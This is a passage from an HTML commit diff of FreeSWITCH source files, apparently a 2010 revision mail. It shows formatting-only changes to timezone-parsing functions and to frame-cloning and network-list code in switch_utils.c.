</span><span class="cx">         } while (is_digit(c));
</span><span class="cx">         if (num < min)
</span><del>-                return NULL;                /* illegal value */
</del><ins>+                return NULL;                        /* illegal value */
</ins><span class="cx">         *nump = num;
</span><span class="cx">         return strp;
</span><span class="cx"> }
</span><span class="lines">@@ -1310,16 +1310,16 @@
</span><span class="cx"> of seconds.
</span><span class="cx"> */
</span><span class="cx">
</span><del>-static const char *getsecs(register const char *strp, long * const secsp)
</del><ins>+static const char *getsecs(register const char *strp, long *const secsp)
</ins><span class="cx"> {
</span><del>-        int        num;
</del><ins>+        int num;
</ins><span class="cx">
</span><span class="cx">         /*
</span><del>-        ** `HOURSPERDAY * DAYSPERWEEK - 1' allows quasi-Posix rules like
-        ** "M10.4.6/26", which does not conform to Posix,
-        ** but which specifies the equivalent of
-        ** ``02:00 on the first Sunday on or after 23 Oct''.
-        */
</del><ins>+         ** `HOURSPERDAY * DAYSPERWEEK - 1' allows quasi-Posix rules like
+         ** "M10.4.6/26", which does not conform to Posix,
+         ** but which specifies the equivalent of
+         ** ``02:00 on the first Sunday on or after 23 Oct''.
+         */
</ins><span class="cx">         strp = getnum(strp, &num, 0, HOURSPERDAY * DAYSPERWEEK - 1);
</span><span class="cx">         if (strp == NULL)
</span><span class="cx">                 return NULL;
</span><span class="lines">@@ -1349,9 +1349,9 @@
</span><span class="cx"> Otherwise, return a pointer to the first character not part of the time.
</span><span class="cx"> */
</span><span class="cx">
</span><del>-static const char *getoffset(register const char *strp, long * const offsetp)
</del><ins>+static const char *getoffset(register const char *strp, long *const offsetp)
</ins><span class="cx"> {
</span><del>-        register int        neg = 0;
</del><ins>+        register int neg = 0;
</ins><span class="cx">
</span><span class="cx">         if (*strp == '-') {
</span><span class="cx">                 neg = 1;
</span><span class="lines">@@ -1360,7 +1360,7 @@
</span><span class="cx">                 ++strp;
</span><span class="cx">         strp = getsecs(strp, offsetp);
</span><span class="cx">         if (strp == NULL)
</span><del>-                return NULL;                /* illegal time */
</del><ins>+                return NULL;                        /* illegal time */
</ins><span class="cx">         if (neg)
</span><span class="cx">                 *offsetp = -*offsetp;
</span><span class="cx">         return strp;
</span><span class="lines">@@ -1373,19 +1373,19 @@
</span><span class="cx"> Otherwise, return a pointer to the first character not part of the rule.
</span><span class="cx"> */
</span><span class="cx">
</span><del>-static const char *getrule(const char *strp, register struct rule * const rulep)
</del><ins>+static const char *getrule(const char *strp, register struct rule *const rulep)
</ins><span class="cx"> {
</span><span class="cx">         if (*strp == 'J') {
</span><span class="cx">                 /*
</span><del>-                ** Julian day.
-                */
</del><ins>+                 ** Julian day.
+                 */
</ins><span class="cx">                 rulep->r_type = JULIAN_DAY;
</span><span class="cx">                 ++strp;
</span><span class="cx">                 strp = getnum(strp, &rulep->r_day, 1, DAYSPERNYEAR);
</span><span class="cx">         } else if (*strp == 'M') {
</span><span class="cx">                 /*
</span><del>-                ** Month, week, day.
-                */
</del><ins>+                 ** Month, week, day.
+                 */
</ins><span class="cx">                 rulep->r_type = MONTH_NTH_DAY_OF_WEEK;
</span><span class="cx">                 ++strp;
</span><span class="cx">                 strp = getnum(strp, &rulep->r_mon, 1, MONSPERYEAR);
</span><span class="lines">@@ -1401,20 +1401,22 @@
</span><span class="cx">                 strp = getnum(strp, &rulep->r_day, 0, DAYSPERWEEK - 1);
</span><span class="cx">         } else if (is_digit(*strp)) {
</span><span class="cx">                 /*
</span><del>-                ** Day of year.
-                */
</del><ins>+                 ** Day of year.
+                 */
</ins><span class="cx">                 rulep->r_type = DAY_OF_YEAR;
</span><span class="cx">                 strp = getnum(strp, &rulep->r_day, 0, DAYSPERLYEAR - 1);
</span><del>-        } else        return NULL;                /* invalid format */
</del><ins>+        } else
+                return NULL;                        /* invalid format */
</ins><span class="cx">         if (strp == NULL)
</span><span class="cx">                 return NULL;
</span><span class="cx">         if (*strp == '/') {
</span><span class="cx">                 /*
</span><del>-                ** Time specified.
-                */
</del><ins>+                 ** Time specified.
+                 */
</ins><span class="cx">                 ++strp;
</span><span class="cx">                 strp = getsecs(strp, &rulep->r_time);
</span><del>-        } else        rulep->r_time = 2 * SECSPERHOUR;        /* default = 2:00:00 */
</del><ins>+        } else
+                rulep->r_time = 2 * SECSPERHOUR;        /* default = 2:00:00 */
</ins><span class="cx">         return strp;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1425,12 +1427,12 @@
</span><span class="cx"> calculate the Epoch-relative time that rule takes effect.
</span><span class="cx"> */
</span><span class="cx">
</span><del>-static time_t transtime(const time_t janfirst, const int year, register const struct rule * const rulep, const long offset)
</del><ins>+static time_t transtime(const time_t janfirst, const int year, register const struct rule *const rulep, const long offset)
</ins><span class="cx"> {
</span><del>-        register int        leapyear;
-        register time_t        value;
-        register int        i;
-        int                d, m1, yy0, yy1, yy2, dow;
</del><ins>+        register int leapyear;
+        register time_t value;
+        register int i;
+        int d, m1, yy0, yy1, yy2, dow;
</ins><span class="cx">
</span><span class="cx">         INITIALIZE(value);
</span><span class="cx">         leapyear = isleap(year);
</span><span class="lines">@@ -1438,12 +1440,12 @@
</span><span class="cx">
</span><span class="cx">         case JULIAN_DAY:
</span><span class="cx">                 /*
</span><del>-                ** Jn - Julian day, 1 == January 1, 60 == March 1 even in leap
-                ** years.
-                ** In non-leap years, or if the day number is 59 or less, just
-                ** add SECSPERDAY times the day number-1 to the time of
-                ** January 1, midnight, to get the day.
-                */
</del><ins>+                 ** Jn - Julian day, 1 == January 1, 60 == March 1 even in leap
+                 ** years.
+                 ** In non-leap years, or if the day number is 59 or less, just
+                 ** add SECSPERDAY times the day number-1 to the time of
+                 ** January 1, midnight, to get the day.
+                 */
</ins><span class="cx">                 value = janfirst + (rulep->r_day - 1) * SECSPERDAY;
</span><span class="cx">                 if (leapyear && rulep->r_day >= 60)
</span><span class="cx">                         value += SECSPERDAY;
</span><span class="lines">@@ -1451,62 +1453,60 @@
</span><span class="cx">
</span><span class="cx">         case DAY_OF_YEAR:
</span><span class="cx">                 /*
</span><del>-                ** n - day of year.
-                ** Just add SECSPERDAY times the day number to the time of
-                ** January 1, midnight, to get the day.
-                */
</del><ins>+                 ** n - day of year.
+                 ** Just add SECSPERDAY times the day number to the time of
+                 ** January 1, midnight, to get the day.
+                 */
</ins><span class="cx">                 value = janfirst + rulep->r_day * SECSPERDAY;
</span><span class="cx">                 break;
</span><span class="cx">
</span><span class="cx">         case MONTH_NTH_DAY_OF_WEEK:
</span><span class="cx">                 /*
</span><del>-                ** Mm.n.d - nth "dth day" of month m.
-                */
</del><ins>+                 ** Mm.n.d - nth "dth day" of month m.
+                 */
</ins><span class="cx">                 value = janfirst;
</span><span class="cx">                 for (i = 0; i < rulep->r_mon - 1; ++i)
</span><span class="cx">                         value += mon_lengths[leapyear][i] * SECSPERDAY;
</span><span class="cx">
</span><span class="cx">                 /*
</span><del>-                ** Use Zeller's Congruence to get day-of-week of first day of
-                ** month.
-                */
</del><ins>+                 ** Use Zeller's Congruence to get day-of-week of first day of
+                 ** month.
+                 */
</ins><span class="cx">                 m1 = (rulep->r_mon + 9) % 12 + 1;
</span><span class="cx">                 yy0 = (rulep->r_mon <= 2) ? (year - 1) : year;
</span><span class="cx">                 yy1 = yy0 / 100;
</span><span class="cx">                 yy2 = yy0 % 100;
</span><del>-                dow = ((26 * m1 - 2) / 10 +
-                        1 + yy2 + yy2 / 4 + yy1 / 4 - 2 * yy1) % 7;
</del><ins>+                dow = ((26 * m1 - 2) / 10 + 1 + yy2 + yy2 / 4 + yy1 / 4 - 2 * yy1) % 7;
</ins><span class="cx">                 if (dow < 0)
</span><span class="cx">                         dow += DAYSPERWEEK;
</span><span class="cx">
</span><span class="cx">                 /*
</span><del>-                ** "dow" is the day-of-week of the first day of the month. Get
-                ** the day-of-month (zero-origin) of the first "dow" day of the
-                ** month.
-                */
</del><ins>+                 ** "dow" is the day-of-week of the first day of the month. Get
+                 ** the day-of-month (zero-origin) of the first "dow" day of the
+                 ** month.
+                 */
</ins><span class="cx">                 d = rulep->r_day - dow;
</span><span class="cx">                 if (d < 0)
</span><span class="cx">                         d += DAYSPERWEEK;
</span><span class="cx">                 for (i = 1; i < rulep->r_week; ++i) {
</span><del>-                        if (d + DAYSPERWEEK >=
-                                mon_lengths[leapyear][rulep->r_mon - 1])
-                                        break;
</del><ins>+                        if (d + DAYSPERWEEK >= mon_lengths[leapyear][rulep->r_mon - 1])
+                                break;
</ins><span class="cx">                         d += DAYSPERWEEK;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 /*
</span><del>-                ** "d" is the day-of-month (zero-origin) of the day we want.
-                */
</del><ins>+                 ** "d" is the day-of-month (zero-origin) of the day we want.
+                 */
</ins><span class="cx">                 value += d * SECSPERDAY;
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /*
</span><del>-        ** "value" is the Epoch-relative time of 00:00:00 UTC on the day in
-        ** question. To get the Epoch-relative time of the specified local
-        ** time on that day, add the transition time and the current offset
-        ** from UTC.
-        */
</del><ins>+         ** "value" is the Epoch-relative time of 00:00:00 UTC on the day in
+         ** question. To get the Epoch-relative time of the specified local
+         ** time on that day, add the transition time and the current offset
+         ** from UTC.
+         */
</ins><span class="cx">         return value + rulep->r_time + offset;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1517,17 +1517,17 @@
</span><span class="cx"> appropriate.
</span><span class="cx"> */
</span><span class="cx">
</span><del>-static int tzparse(const char *name, register struct state * const sp, const int lastditch)
</del><ins>+static int tzparse(const char *name, register struct state *const sp, const int lastditch)
</ins><span class="cx"> {
</span><del>-        const char *                        stdname;
-        const char *                        dstname;
-        size_t                                stdlen;
-        size_t                                dstlen;
-        long                                stdoffset;
-        long                                dstoffset;
-        register time_t *                atp;
-        register unsigned char *        typep;
-        register char *                        cp;
</del><ins>+        const char *stdname;
+        const char *dstname;
+        size_t stdlen;
+        size_t dstlen;
+        long stdoffset;
+        long dstoffset;
+        register time_t *atp;
+        register unsigned char *typep;
+        register char *cp;
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">         INITIALIZE(dstname);
</span><span class="lines">@@ -1551,7 +1551,7 @@
</span><span class="cx">                         return -1;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        sp->leapcnt = 0;                /* so, we're off a little */
</del><ins>+        sp->leapcnt = 0;                        /* so, we're off a little */
</ins><span class="cx">
</span><span class="cx">         if (*name != '\0') {
</span><span class="cx">                 dstname = name;
</span><span class="lines">@@ -1559,24 +1559,21 @@
</span><span class="cx">                 dstlen = name - dstname;        /* length of DST zone name */
</span><span class="cx">                 if (dstlen < 3)
</span><span class="cx">                         return -1;
</span><del>-                if (*name != '\0' && *name != ',' && *name != ';')
-                {
</del><ins>+                if (*name != '\0' && *name != ',' && *name != ';') {
</ins><span class="cx">                         name = getoffset(name, &dstoffset);
</span><span class="cx">                         if (name == NULL)
</span><span class="cx">                                 return -1;
</span><del>-                }
-                else        
-                 dstoffset = stdoffset - SECSPERHOUR;
</del><ins>+                } else
+                        dstoffset = stdoffset - SECSPERHOUR;
</ins><span class="cx">
</span><span class="cx">                 /* Go parsing the daylight saving stuff */
</span><del>-                if (*name == ',' || *name == ';')
-                {
-                        struct rule        start;
-                        struct rule        end;
-                        register int        year;
-                        register time_t        janfirst;
-                        time_t                starttime;
-                        time_t                endtime;
</del><ins>+                if (*name == ',' || *name == ';') {
+                        struct rule start;
+                        struct rule end;
+                        register int year;
+                        register time_t janfirst;
+                        time_t starttime;
+                        time_t endtime;
</ins><span class="cx">
</span><span class="cx">                         ++name;
</span><span class="cx">                         if ((name = getrule(name, &start)) == NULL)
</span><span class="lines">@@ -1591,8 +1588,8 @@
</span><span class="cx">                         sp->typecnt = 2;        /* standard time and DST */
</span><span class="cx">
</span><span class="cx">                         /*
</span><del>-                        ** Two transitions per year, from EPOCH_YEAR to 2037.
-                        */
</del><ins>+                         ** Two transitions per year, from EPOCH_YEAR to 2037.
+                         */
</ins><span class="cx">                         sp->timecnt = 2 * (2037 - EPOCH_YEAR + 1);
</span><span class="cx">
</span><span class="cx">                         if (sp->timecnt > TZ_MAX_TIMES)
</span><span class="lines">@@ -1600,7 +1597,7 @@
</span><span class="cx">
</span><span class="cx">                         sp->ttis[0].tt_gmtoff = -dstoffset;
</span><span class="cx">                         sp->ttis[0].tt_isdst = 1;
</span><del>-                        sp->ttis[0].tt_abbrind = (int)(stdlen + 1);
</del><ins>+                        sp->ttis[0].tt_abbrind = (int) (stdlen + 1);
</ins><span class="cx">                         sp->ttis[1].tt_gmtoff = -stdoffset;
</span><span class="cx">                         sp->ttis[1].tt_isdst = 0;
</span><span class="cx">                         sp->ttis[1].tt_abbrind = 0;
</span><span class="lines">@@ -1610,10 +1607,8 @@
</span><span class="cx">                         janfirst = 0;
</span><span class="cx">
</span><span class="cx">                         for (year = EPOCH_YEAR; year <= 2037; ++year) {
</span><del>-                                starttime = transtime(janfirst, year, &start,
-                                        stdoffset);
-                                endtime = transtime(janfirst, year, &end,
-                                        dstoffset);
</del><ins>+                                starttime = transtime(janfirst, year, &start, stdoffset);
+                                endtime = transtime(janfirst, year, &end, dstoffset);
</ins><span class="cx">                                 if (starttime > endtime) {
</span><span class="cx">                                         *atp++ = endtime;
</span><span class="cx">                                         *typep++ = 1;        /* DST ends */
</span><span class="lines">@@ -1630,24 +1625,23 @@
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                 } else {
</span><del>-                        register long        theirstdoffset;
-                        register long        theirdstoffset;
-                        register long        theiroffset;
-                        register int        isdst;
-                        register int        i;
-                        register int        j;
</del><ins>+                        register long theirstdoffset;
+                        register long theirdstoffset;
+                        register long theiroffset;
+                        register int isdst;
+                        register int i;
+                        register int j;
</ins><span class="cx">
</span><span class="cx">                         if (*name != '\0')
</span><span class="cx">                                 return -1;
</span><span class="cx">                         /*
</span><del>-                         Initial values of theirstdoffset and theirdstoffset.
-                        */
</del><ins>+                         Initial values of theirstdoffset and theirdstoffset.
+                         */
</ins><span class="cx">                         theirstdoffset = 0;
</span><span class="cx">                         for (i = 0; i < sp->timecnt; ++i) {
</span><span class="cx">                                 j = sp->types[i];
</span><span class="cx">                                 if (!sp->ttis[j].tt_isdst) {
</span><del>-                                        theirstdoffset =
-                                                -sp->ttis[j].tt_gmtoff;
</del><ins>+                                        theirstdoffset = -sp->ttis[j].tt_gmtoff;
</ins><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="lines">@@ -1655,63 +1649,61 @@
</span><span class="cx">                         for (i = 0; i < sp->timecnt; ++i) {
</span><span class="cx">                                 j = sp->types[i];
</span><span class="cx">                                 if (sp->ttis[j].tt_isdst) {
</span><del>-                                        theirdstoffset =
-                                                -sp->ttis[j].tt_gmtoff;
</del><ins>+                                        theirdstoffset = -sp->ttis[j].tt_gmtoff;
</ins><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                         /*
</span><del>-                        ** Initially we're assumed to be in standard time.
-                        */
</del><ins>+                         ** Initially we're assumed to be in standard time.
+                         */
</ins><span class="cx">                         isdst = FALSE;
</span><span class="cx">                         theiroffset = theirstdoffset;
</span><span class="cx">                         /*
</span><del>-                        ** Now juggle transition times and types
-                        ** tracking offsets as you do.
-                        */
</del><ins>+                         ** Now juggle transition times and types
+                         ** tracking offsets as you do.
+                         */
</ins><span class="cx">                         for (i = 0; i < sp->timecnt; ++i) {
</span><span class="cx">                                 j = sp->types[i];
</span><del>-                                sp->types[i] = (unsigned char)sp->ttis[j].tt_isdst;
</del><ins>+                                sp->types[i] = (unsigned char) sp->ttis[j].tt_isdst;
</ins><span class="cx">                                 if (sp->ttis[j].tt_ttisgmt) {
</span><span class="cx">                                         /* No adjustment to transition time */
</span><span class="cx">                                 } else {
</span><span class="cx">                                         /*
</span><del>-                                        ** If summer time is in effect, and the
-                                        ** transition time was not specified as
-                                        ** standard time, add the summer time
-                                        ** offset to the transition time;
-                                        ** otherwise, add the standard time
-                                        ** offset to the transition time.
-                                        */
</del><ins>+                                         ** If summer time is in effect, and the
+                                         ** transition time was not specified as
+                                         ** standard time, add the summer time
+                                         ** offset to the transition time;
+                                         ** otherwise, add the standard time
+                                         ** offset to the transition time.
+                                         */
</ins><span class="cx">                                         /*
</span><del>-                                        ** Transitions from DST to DDST
-                                        ** will effectively disappear since
-                                        ** POSIX provides for only one DST
-                                        ** offset.
-                                        */
</del><ins>+                                         ** Transitions from DST to DDST
+                                         ** will effectively disappear since
+                                         ** POSIX provides for only one DST
+                                         ** offset.
+                                         */
</ins><span class="cx">                                         if (isdst && !sp->ttis[j].tt_ttisstd) {
</span><del>-                                                sp->ats[i] += dstoffset -
-                                                        theirdstoffset;
</del><ins>+                                                sp->ats[i] += dstoffset - theirdstoffset;
</ins><span class="cx">                                         } else {
</span><del>-                                                sp->ats[i] += stdoffset -
-                                                        theirstdoffset;
</del><ins>+                                                sp->ats[i] += stdoffset - theirstdoffset;
</ins><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                                 theiroffset = -sp->ttis[j].tt_gmtoff;
</span><span class="cx">                                 if (sp->ttis[j].tt_isdst)
</span><span class="cx">                                         theirdstoffset = theiroffset;
</span><del>-                                else        theirstdoffset = theiroffset;
</del><ins>+                                else
+                                        theirstdoffset = theiroffset;
</ins><span class="cx">                         }
</span><span class="cx">                         /*
</span><del>-                        ** Finally, fill in ttis.
-                        ** ttisstd and ttisgmt need not be handled.
-                        */
</del><ins>+                         ** Finally, fill in ttis.
+                         ** ttisstd and ttisgmt need not be handled.
+                         */
</ins><span class="cx">                         sp->ttis[0].tt_gmtoff = -stdoffset;
</span><span class="cx">                         sp->ttis[0].tt_isdst = FALSE;
</span><span class="cx">                         sp->ttis[0].tt_abbrind = 0;
</span><span class="cx">                         sp->ttis[1].tt_gmtoff = -dstoffset;
</span><span class="cx">                         sp->ttis[1].tt_isdst = TRUE;
</span><del>-                        sp->ttis[1].tt_abbrind = (int)(stdlen + 1);
</del><ins>+                        sp->ttis[1].tt_abbrind = (int) (stdlen + 1);
</ins><span class="cx">                         sp->typecnt = 2;
</span><span class="cx">                 }
</span><span class="cx">         } else {
</span><span class="lines">@@ -1723,9 +1715,9 @@
</span><span class="cx">                 sp->ttis[0].tt_abbrind = 0;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        sp->charcnt = (int)(stdlen + 1);
</del><ins>+        sp->charcnt = (int) (stdlen + 1);
</ins><span class="cx">         if (dstlen != 0)
</span><del>-                sp->charcnt += (int)(dstlen + 1);
</del><ins>+                sp->charcnt += (int) (dstlen + 1);
</ins><span class="cx">         if ((size_t) sp->charcnt > sizeof sp->chars)
</span><span class="cx">                 return -1;
</span><span class="cx">         cp = sp->chars;
</span><span class="lines">@@ -1748,17 +1740,17 @@
</span><span class="cx"> #define switch_assert(expr) assert(expr)
</span><span class="cx"> #endif
</span><span class="cx">
</span><del>-static void timesub(const time_t * const timep, const long offset, register const struct state * const sp, register struct tm * const tmp)
</del><ins>+static void timesub(const time_t *const timep, const long offset, register const struct state *const sp, register struct tm *const tmp)
</ins><span class="cx"> {
</span><del>-        register const struct lsinfo *        lp;
-        register long                        days;
-        register time_t                        rem;
-        register int                        y;
-        register int                        yleap;
-        register const int *                ip;
-        register long                        corr;
-        register int                        hit;
-        register int                        i;
</del><ins>+        register const struct lsinfo *lp;
+        register long days;
+        register time_t rem;
+        register int y;
+        register int yleap;
+        register const int *ip;
+        register long corr;
+        register int hit;
+        register int i;
</ins><span class="cx">
</span><span class="cx">         switch_assert(timep != NULL);
</span><span class="cx">         switch_assert(sp != NULL);
</span><span class="lines">@@ -1772,32 +1764,27 @@
</span><span class="cx">                 lp = &sp->lsis[i];
</span><span class="cx">                 if (*timep >= lp->ls_trans) {
</span><span class="cx">                         if (*timep == lp->ls_trans) {
</span><del>-                                hit = ((i == 0 && lp->ls_corr > 0) ||
-                                        (i > 0 && lp->ls_corr > sp->lsis[i - 1].ls_corr));
</del><ins>+                                hit = ((i == 0 && lp->ls_corr > 0) || (i > 0 && lp->ls_corr > sp->lsis[i - 1].ls_corr));
</ins><span class="cx">                                 if (hit)
</span><del>-                                        while (i > 0 &&
-                                                sp->lsis[i].ls_trans ==
-                                                sp->lsis[i - 1].ls_trans + 1 &&
-                                                sp->lsis[i].ls_corr ==
-                                                sp->lsis[i - 1].ls_corr + 1) {
-                                                        ++hit;
-                                                        --i;
</del><ins>+                                        while (i > 0 && sp->lsis[i].ls_trans == sp->lsis[i - 1].ls_trans + 1 && sp->lsis[i].ls_corr == sp->lsis[i - 1].ls_corr + 1) {
+                                                ++hit;
+                                                --i;
</ins><span class="cx">                                         }
</span><span class="cx">                         }
</span><span class="cx">                         corr = lp->ls_corr;
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        days = (long)(*timep / SECSPERDAY);
</del><ins>+        days = (long) (*timep / SECSPERDAY);
</ins><span class="cx">         rem = *timep % SECSPERDAY;
</span><span class="cx">
</span><span class="cx">
</span><del>-#ifdef mc68k
</del><ins>+#ifdef mc68k
</ins><span class="cx">         /* If this is for CPU bugs workarounds, i would remove this anyway. Who would use it on an old mc68k ? */
</span><span class="cx">         if (*timep == 0x80000000) {
</span><span class="cx">                 /*
</span><del>-                ** A 3B1 muffs the division on the most negative number.
-                */
</del><ins>+                 ** A 3B1 muffs the division on the most negative number.
+                 */
</ins><span class="cx">                 days = -24855;
</span><span class="cx">                 rem = -11648;
</span><span class="cx">         }
</span><span class="lines">@@ -1817,9 +1804,9 @@
</span><span class="cx">         tmp->tm_min = (int) (rem / SECSPERMIN);
</span><span class="cx">
</span><span class="cx">         /*
</span><del>-        ** A positive leap second requires a special
-        ** representation. This uses "... ??:59:60" et seq.
-        */
</del><ins>+         ** A positive leap second requires a special
+         ** representation. This uses "... ??:59:60" et seq.
+         */
</ins><span class="cx">         tmp->tm_sec = (int) (rem % SECSPERMIN) + hit;
</span><span class="cx">         tmp->tm_wday = (int) ((EPOCH_WDAY + days) % DAYSPERWEEK);
</span><span class="cx">
</span><span class="lines">@@ -1831,14 +1818,12 @@
</span><span class="cx"> #define LEAPS_THRU_END_OF(y)        ((y) / 4 - (y) / 100 + (y) / 400)
</span><span class="cx">
</span><span class="cx">         while (days < 0 || days >= (long) year_lengths[yleap = isleap(y)]) {
</span><del>-                register int        newy;
</del><ins>+                register int newy;
</ins><span class="cx">
</span><del>-                newy = (int)(y + days / DAYSPERNYEAR);
</del><ins>+                newy = (int) (y + days / DAYSPERNYEAR);
</ins><span class="cx">                 if (days < 0)
</span><span class="cx">                         --newy;
</span><del>-                days -= (newy - y) * DAYSPERNYEAR +
-                        LEAPS_THRU_END_OF(newy - 1) -
-                        LEAPS_THRU_END_OF(y - 1);
</del><ins>+                days -= (newy - y) * DAYSPERNYEAR + LEAPS_THRU_END_OF(newy - 1) - LEAPS_THRU_END_OF(y - 1);
</ins><span class="cx">                 y = newy;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -1861,29 +1846,26 @@
</span><span class="cx">         
</span><span class="cx"> ************************************************************************** */
</span><span class="cx">
</span><del>-static void tztime(const time_t * const timep, const char *tzstring, struct tm * const tmp )
</del><ins>+static void tztime(const time_t *const timep, const char *tzstring, struct tm *const tmp)
</ins><span class="cx"> {
</span><del>-        struct state                         *tzptr,
-                                        *sp;
-        const time_t                        t = *timep;
-        register int                        i;
-        register const struct ttinfo         *ttisp;
</del><ins>+        struct state *tzptr, *sp;
+        const time_t t = *timep;
+        register int i;
+        register const struct ttinfo *ttisp;
</ins><span class="cx">
</span><del>-        if ( tzstring == NULL )
</del><ins>+        if (tzstring == NULL)
</ins><span class="cx">                 tzstring = gmt;
</span><span class="cx">
</span><del>-        tzptr = (struct state *) malloc(sizeof (struct state));
</del><ins>+        tzptr = (struct state *) malloc(sizeof(struct state));
</ins><span class="cx">         sp = tzptr;
</span><span class="cx">
</span><del>-        if (tzptr != NULL)
-        {
-        
</del><ins>+        if (tzptr != NULL) {
+
</ins><span class="cx">                 memset(tzptr, 0, sizeof(struct state));
</span><span class="cx">
</span><span class="cx">                 (void) tzparse(tzstring, tzptr, FALSE);
</span><span class="cx">
</span><del>-                if (sp->timecnt == 0 || t < sp->ats[0])
-                {
</del><ins>+                if (sp->timecnt == 0 || t < sp->ats[0]) {
</ins><span class="cx">                         i = 0;
</span><span class="cx">                         while (sp->ttis[i].tt_isdst)
</span><span class="cx">                                 if (++i >= sp->typecnt) {
</span><span class="lines">@@ -1899,14 +1881,13 @@
</span><span class="cx">                 ttisp = &sp->ttis[i];
</span><span class="cx">
</span><span class="cx">                 /*
</span><del>-                 To get (wrong) behavior that's compatible with System V Release 2.0
-                 you'd replace the statement below with
-                 t += ttisp->tt_gmtoff;
-                 timesub(&t, 0L, sp, tmp);
-                */
-                if ( tmp != NULL ) /* Just a check not to assert */
-                {
-                         timesub( &t, ttisp->tt_gmtoff, sp, tmp);
</del><ins>+                 To get (wrong) behavior that's compatible with System V Release 2.0
+                 you'd replace the statement below with
+                 t += ttisp->tt_gmtoff;
+                 timesub(&t, 0L, sp, tmp);
+                 */
+                if (tmp != NULL) {                /* Just a check not to assert */
+                        timesub(&t, ttisp->tt_gmtoff, sp, tmp);
</ins><span class="cx">                         tmp->tm_isdst = ttisp->tt_isdst;
</span><span class="cx"> #if defined(HAVE_STRUCT_TM_TM_ZONE)
</span><span class="cx">                         tmp->tm_zone = &sp->chars[ttisp->tt_abbrind];
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_utilsc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_utils.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_utils.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_utils.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -93,7 +93,7 @@
</span><span class="cx">         new_frame = malloc(sizeof(*new_frame));
</span><span class="cx">
</span><span class="cx">         switch_assert(new_frame);
</span><del>-        
</del><ins>+
</ins><span class="cx">         *new_frame = *orig;
</span><span class="cx">         switch_set_flag(new_frame, SFF_DYNAMIC);
</span><span class="cx">
</span><span class="lines">@@ -102,7 +102,7 @@
</span><span class="cx">
</span><span class="cx">         memcpy(new_frame->data, orig->data, orig->datalen);
</span><span class="cx">         new_frame->codec = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         *clone = new_frame;
</span><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -113,7 +113,7 @@
</span><span class="cx">         if (!frame || !*frame || !switch_test_flag((*frame), SFF_DYNAMIC)) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free((*frame)->data);
</span><span class="cx">         free(*frame);
</span><span class="cx">         *frame = NULL;
</span><span class="lines">@@ -121,7 +121,8 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_network_list_create(switch_network_list_t **list, const char *name, switch_bool_t default_type, switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_network_list_create(switch_network_list_t **list, const char *name, switch_bool_t default_type,
+                                                                                                                 switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         switch_network_list_t *new_list;
</span><span class="cx">
</span><span class="lines">@@ -164,14 +165,15 @@
</span><span class="cx">         return ok;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_network_list_perform_add_cidr_token(switch_network_list_t *list, const char *cidr_str, switch_bool_t ok, const char *token)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_network_list_perform_add_cidr_token(switch_network_list_t *list, const char *cidr_str, switch_bool_t ok,
+                                                                                                                                                 const char *token)
</ins><span class="cx"> {
</span><span class="cx">         uint32_t ip, mask, bits;
</span><span class="cx">         switch_network_node_t *node;
</span><span class="cx">
</span><span class="cx">         if (switch_parse_cidr(cidr_str, &ip, &mask, &bits)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Adding %s (%s) [%s] to list %s\n",
</span><del>-                        cidr_str, ok ? "allow" : "deny", switch_str_nil(token), list->name);
</del><ins>+                                                 cidr_str, ok ? "allow" : "deny", switch_str_nil(token), list->name);
</ins><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -186,11 +188,11 @@
</span><span class="cx">         if (!zstr(token)) {
</span><span class="cx">                 node->token = switch_core_strdup(list->pool, token);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         node->next = list->node_head;
</span><span class="cx">         list->node_head = node;
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Adding %s (%s) [%s] to list %s\n",
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Adding %s (%s) [%s] to list %s\n",
